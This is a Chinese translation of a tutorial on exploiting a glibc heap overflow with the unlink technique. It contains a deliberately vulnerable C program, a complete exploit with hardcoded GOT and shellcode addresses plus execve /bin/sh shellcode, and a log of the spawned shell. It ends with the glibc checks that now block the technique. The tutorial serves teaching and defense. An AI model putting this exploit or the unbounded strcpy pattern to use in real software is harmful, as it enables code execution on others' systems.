# 使用 unlink 的堆溢出

> 译者：[飞龙](https://github.com/wizardforcel)

> 原文：[Heap overflow using unlink](https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/)

预备条件：

1.  [理解 glibc malloc](http://blog.csdn.net/maokelong95/article/details/51989081)

这篇文章中，让我们了解如何使用 unlink 技巧成功利用堆溢出。但是在了解它之前，首先让我们看看漏洞程序：


```c
/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}
```

上面程序的行`[3]`会导致堆溢出。用户输入`argv[1]`复制给了堆缓冲区`first`，没有任何大小限制。因此，当用户输入大于 666 字节时，它就会覆盖下一个块的头部。这个溢出会导致任意代码执行。

看一看漏洞程序的堆内存图片：

![1](http://upload-images.jianshu.io/upload_images/118142-68a80c4ee261c8a6.png)

unlink：这个技巧的核心思想，就是欺骗 glibc malloc 来 unlink 第二个块。unlink `free`的 GOT 条目会使其被 shellcode 地址覆盖。在成功覆盖之后，现在在行`[5]`，`free`被漏洞程序调用时，shellcode 就会执行。不是很清楚嘛？没问题，首先让我们看看执行`free`时，glibc malloc 在干什么。

如果没有攻击者影响，行`[4]`的`free`会做这些事情：

+   对于不是 mmap 的块，会向前或向后合并。
+   向后合并
    +   查看前一个块是不是空闲的 -- 前一个块是空闲的，如果当前空闲块的`PREV_INUSE(P)`位没有设置。但是我们这里，前一个块是分配的，因为它的`PREV_INUSE`位设置了，通常堆内存的第一个块的前面那个块是分配的（即使它不存在）。
    +   如果空闲，合并它。例如，从 binlist unlink（移除）前一个块，将前一个块的大小与当前块相加，并将块指针指向前一个快。但是我们这里，前一个快是分配的，因此 unlink 不会调用。当前空闲块`first`不能向后合并。
+   向前合并
    +   查看下一个块是不是空闲的 -- 下一个块是空闲的，如果下下个块（距离当前空闲块）的`PREV_INUSE(P)`位没有设置。为了访问下下个块，将当前块的大小加到它的块指针，再将下一个块的大小加到下一个块指针。我们这里，距离当前空闲块的下下个块是 top 块，它的`PREV_INUSE`位已设置。因此下一个块`second`不是空闲的。
    +   如果是空闲的，合并它。例如，从它的 binlist 中 unlink（移除）下一个块，并将下一个块的大小添加到当前大小。但是我们这里，下一个块是分配的，因此 unlink 不会调用。当前空闲块`first`不能向前合并。   
+   现在将合并后的块添加到 unsorted bin 中。我们这里，由于合并没有发生，只将`first`块添加到票 unsorted bin 中。

现在让我们假设，攻击者在行`[3]`覆盖了`second`块的块头部，像这样：

+   `prev_size `为偶数，因此`PREV_INUSE`是未设置的，
+   `size = -4`
+   `fd`为`free`的地址减 12
+   `bk`为 Shellcode 的地址

在攻击者的影响下，行`[4]`的`free`会做下面的事情：

+   对于不是 mmap 的块，会向前或向后合并。
+   向后合并
    +   查看前一个块是不是空闲的 -- 前一个块是空闲的，如果当前空闲块的`PREV_INUSE(P)`位没有设置。但是我们这里，前一个块是分配的，因为它的`PREV_INUSE`位设置了，通常堆内存的第一个块的前面那个块是分配的（即使它不存在）。
    +   如果空闲，合并它。例如，从 binlist unlink（移除）前一个块，将前一个块的大小与当前块相加，并将块指针指向前一个快。但是我们这里，前一个快是分配的，因此 unlink 不会调用。当前空闲块`first`不能向后合并。
+   向前合并
    +   查看下一个块是不是空闲的 -- 下一个块是空闲的，如果下下个块（距离当前空闲块）的`PREV_INUSE (P)`位未设置。为了访问下下个块，将当前块的大小加到它的块指针，再将下一个块的大小加到下一个块指针。我们这里，距离当前空闲块的下下个块不是 top 块。下下个块在`second`块的 -4 偏移处，因为攻击者将`second`块的大小覆盖成了 -4。因此现在 glibc malloc 将`second`块的`prev_inuse `字段看做下下个块的大小字段。由于攻击者覆盖了一个偶数（也就是`PREV_INUSE (P)`为是没有设置的）来代替`prev_size`，glibc malloc 被欺骗来相信`second`块是空闲的。
    +   如果是空闲的，合并它。例如，从它的 binlist 中 unlink（移除）下一个块，并将下一个块的大小添加到当前大小。我们这里下一个块是空闲的，因此`second`块会像这样被 unlink：
        +   将`second`块的`fd`和`bk`值复制到`FD`和`BK`变量中。这里，`FD`是`free`的地址 -12，`BK`是 shellcode 的地址（作为堆溢出的一部分，攻击者将它的 shellcode 放到了`first`堆缓冲区中）。
        +   `BK`的值复制到了距离`FD`偏移为 12 的位置。我们这里将 12 字节加到`FD`，就指向了`free`的 GOT 条目，因此现在`free`的 GOT 条目就覆盖成了 shellcode 地址。好的。现在无论`free`在哪里调用，shellcode 都会执行。因此漏洞程序中行`[5]`的执行会导致 shellcode 执行。
    +   现在将合并后的块添加到 unsorted bin 中。
    
看看漏洞程序的堆内存的图片，在攻击者影响用户输入之后：

![2](http://upload-images.jianshu.io/upload_images/118142-d2d3b7ddf548294f.png)

理解了 unlink 技巧之后，让我们编写利用程序吧。

```c
/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
        "\xeb\x0assppppffff"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '';

        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}
```

执行上述程序会派生新的 shell。

```
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$
```

保护：现在，unlink 技巧不起作用了，因为 glibc malloc 在近几年变得更可靠。添加下面的检查来放置使用 unlink 技巧的堆溢出。

+   二次释放：释放一个已经在空闲列表的块是不允许的。当攻击者使用 -4 覆盖第二个块时，它的`PREV_INUSE `为没有设置，这意味着`first`已经是空闲状态了。因此 glibc malloc 会抛出二次释放错误。

    ```c
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
    {
        errstr = "double free or corruption (!prev)";
        goto errout;
     
    ```
    
+   下一个块大小无效：下一个块的大小应该在 8 到 arena 的全部系统内存之间。当攻击者将`second`块的大小赋为 -4 时，glibc malloc 就会抛出下一个块大小无效的错误。

    ```c
    if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (nextsize >= av->system_mem, 0))
    {
        errstr = "free(): invalid next size (normal)";
        goto errout;
    }
    ```
    
+   双向链表指针破坏：前一个块的`fd`和下一个块的`bk`应该指向当前 unlink 块。当攻击者使用`free -12`和 shellcode 地址覆盖`fd`和`bk`时，`free`和 shellcode 地址 + 8 就不会指向当前 unlink 块（`second`）。因此 glibc malloc 就抛出双向链表指针破坏错误。

    ```c
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
        malloc_printerr (check_action, "corrupted double-linked list", P);
    ```
    
注意：出于演示目的，漏洞程序不适用下列 Linunx 保护机制编译：

+   ASLR
+   NX
+   RELRO（重定向只读）

## 参考

+   [vudo malloc tricks](http://phrack.org/issues/57/8.html)